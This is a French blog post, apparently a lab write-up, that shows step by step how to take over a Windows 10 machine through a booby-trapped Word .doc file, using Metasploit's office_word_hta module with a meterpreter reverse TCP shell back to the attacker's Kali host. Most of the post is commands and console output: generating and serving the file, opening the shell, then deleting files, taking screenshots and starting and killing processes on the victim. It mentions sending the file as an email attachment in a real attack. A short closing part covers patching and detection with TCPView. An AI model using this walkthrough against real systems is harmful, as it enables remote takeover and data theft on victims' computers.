mardi 14 juin 2022

Vulnérabilités dans Microsoft Word


Avec un fichier .doc, comment prendre le contrôle d'un ordinateur


 Attention !

Cet article contient des techniques pouvant être dangereuses si elles sont utilisées à mauvais escient.

Je ne suis pas responsable d'utilisations illégales et d'éventuels problèmes avec la loi en cas d'utilisation malveillante.


J'ai effectué cette expérience avec une machine Kali et une autre sous Windows 10. La machine attaquante sous Kali a l'IP 192.168.1.33 et la cible sous Windows l'IP 192.168.1.44. J'ai désactivé le pare-feu sous Windows car la faille a depuis été corrigée. Par ailleurs, j'ai téléchargé et installé, toujours sous Windows, l'ancienne version Office Standard 2013 SP1 (x86 et x64) - VLSC. La faille touche les versions Office 2010, 2013, 2016.

Le but sera de lancer un exploit qui permet de lancer des commandes à distance avec un fichier Hta à l'aide d'un fichier .doc piégé que je vais installer sur la machine Windows. C'est ce fichier .doc qui permet de prendre le contrôle de la cible. J'utilise METASPLOIT afin de réaliser ce hack.


J'utilise l'exploit suivant depuis la console msf:


msf6 > use exploit/windows/fileformat/office_word_hta

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp


Je suis dans l'exploit. Pas de payload mais prend par défaut windows/meterpreter/reverse_tcp qui tombe à point nommé.


msf6 exploit(windows/fileformat/office_word_hta) > Show options (Permet de voir les différentes options requises ou non)


Module options (exploit/windows/fileformat/office_word_hta):


  Name   Current Setting Required Description

  ----   --------------- -------- -----------

  FILENAME msf.doc     yes    The file name. (document cible utilisé et envoyé à machine victime Windows)

  SRVHOST  0.0.0.0     yes    The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

  SRVPORT  8080       yes    The local port to listen on.

  SSL    false      no    Negotiate SSL for incoming connections

  SSLCert          no    Path to a custom SSL certificate (default is randomly generated)

  URIPATH  default.hta   yes    The URI to use for the HTA file (nom du fichier hta)



Payload options (windows/meterpreter/reverse_tcp):


  Name   Current Setting Required Description

  ----   --------------- -------- -----------

  EXITFUNC process     yes    Exit technique (Accepted: '', seh, thread, process, none)

  LHOST   192.168.1.33   yes    The listen address (an interface may be specified) (adresse IP de l'attaquant)

  LPORT   4444       yes    The listen port (port en écoute)


Pour lancer l'exploit:  


msf6 exploit(windows/fileformat/office_word_hta) > exploit

[*] Exploit running as background job 0.

[*] Exploit completed, but no session was created.

msf6 exploit(windows/fileformat/office_word_hta) > 

[*] Started reverse TCP handler on 192.168.1.33:4444 (handler lancé; prêt à recevoir sur mon adresse IP et le port 4444 défini précédemment. C'est la machine cible qui se mettra en écoute et attendra les ordres provenant de l'attaquant)

[+] msf.doc stored at /home/hau/.msf4/local/msf.doc (document piégé)

[*] Using URL: http://192.168.1.33:8080/default.hta (hta sur serveur en attente)

[*] Server started.


Il faut maintenant transférer le document piégé sur la machine Windows. En situation réelle, en pièce jointe dans un email ferait l'affaire... Pour l'expérience, je vais le transmettre dans le site web de Kali (ce qui m'évite de faire un mail ou de le transférer dans une clé USB...). Pour ce faire, j'ouvre un autre terminal afin de démarrer le serveur Kali.


sudo service apache2 start (démarre le serveur web de Kali)

[sudo] Mot de passe de hau : 

                                                                                                                       

┌──(hau㉿kali)-[~]

└─$ sudo mv /home/hau/.msf4/local/msf.doc /var/www/html/msf.doc (Toujours dans le 2ème terminal afin de déplacer le msf.doc dans le serveur html. Il est déplacé dans la racine du site var/www/html.)


A ce moment je peux me rendre dans la machine cible en Windows 10, ouvrir un onglet et taper:


192.168.1.33/msf.doc (adresse IP de Kali)


Toujours sur la cible j'ouvre le document .doc. Et une fois que le document est ouvert ou enregistré et qu'on active la modification, en retournant sur la session Kali Metasploitable;


Sending stage (175174 bytes) to 192.168.1.44

[*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.44:56521 ) at 2022-06-10 11:01:31 +0200

  

Revenu du côté hacker (terminal Metasploitable). Démarrage de Meterpreter qui gère les transferts de données entre machine attaquante et machine cible piratée.


sessions -i 1

[*] Starting interaction with 1...


meterpreter > pwd (affiche le répertoire courant de la machine piratée). L'attaquant est connecté à la machine Windows et se trouve dans:


C:\Windows\system32

 

Je souhaite aller dans le Bureau de la machine cible, toujours depuis ma Kali, afin d'effectuer des opérations :


meterpreter > cd ..

meterpreter > pwd

C:\Windows

meterpreter > cd ..

meterpreter > pwd

C:\            (J'ai remonté les repertoires.)

meterpreter > cd Users\

 > pwd

[-] stdapi_fs_chdir: Operation failed: The system cannot find the file specified. (Ici c'est une mauvaise manip :-))

meterpreter > pwd

C:\            (Une fois que je suis sur la racine, je remonte jusqu'au Bureau.)

meterpreter > cd Users

meterpreter > pwd

C:\Users

meterpreter > cd htpro

meterpreter > pwd

C:\Users\htpro

meterpreter > cd Desktop

meterpreter > pwd

C:\Users\htpro\Desktop   (Je suis désormais sur le Bureau de la machine piratée. Je peux travailler sur le Bureau de la machine piratée (créer des fichiers...))


J'ai le contrôle total sur la cible et je peux créer, supprimer, éditer toute sorte de fichiers sur la machine de la victime. Par exemple:


meterpreter > del mon_fichier.txt (ou mon_fichier.txt est un fichier que j'ai créé sur le bureau de la machine.)


Je peux prendre un screenshot:


meterpreter > screenshot

Screenshot saved to: /home/hau/CTDubmVQ.jpeg (qui est sauvegardé dans le répertoire /home/hau/)


meterpreter > execute -f notepad.exe (Exécute un programme le programme notepad.exe).

Process 7172 created. (réponse)


meterpreter > ps      (Affiche tous les processus en cours sur la machine piratée)


Process List

============


 PID  PPID Name             Arch Session User          Path

 ---  ---- ----             ---- ------- ----          ----

 0   0   [System Process]

 4   0   System

 72  4   Registry

 212  768  RuntimeBroker.exe      x64  1    DESKTOP-V26IB45\htpro C:\Windows\System32\RuntimeBroker.exe

 7172 8744 notepad.exe         x86  1    DESKTOP-V26IB45\htpro C:\Windows\SysWOW64\notepad.exe    (Je retrouve mon notepad (PID 7172))


meterpreter > kill 7172      (Je peux le tuer. Il disparait de la machine piratée.)

Killing: 7172 (réponse)


J'ai exposé ici une faille de sécurité sur une version de Word. Avec un simple fichier .doc, j'ai pu prendre le contrôle d'un ordinateur.


C'est bien beau tout ça ! Mais... Comment se prémunir d'une telle faille?

La première solution réside dans la mise à jour de sécurité de Word. Mais encore faut-il être au courant de la vulnérabilité. Car lorsque l'on a affaire à un 0 Day...

La deuxième solution est aussi applicable sous Windows. A l'aide de TCPView, j'ai pu afficher et repérer tous les processus actifs qui communiquent avec le réseau. J'ai ainsi pu retrouver l'adresse distante de Kali ainsi que le port sur lequel tournait un Powershell.exe qui a établi la connexion entre les 2 machines. Par ailleurs, depuis TCPView, j'ai pu tuer (Kill Process) le processus sur la machine piratée :


meterpreter > 

[*] 192.168.1.44 - Meterpreter session 1 closed. Reason: Died

Aucun commentaire:

Enregistrer un commentaire

Metasploit : Exploitation d'une vulnérabilité Samba

   Metasploit: Exploitation d'une vulnérabilité Samba Attention ! Cet article contient des techniques pouvant être dangereuses si elles...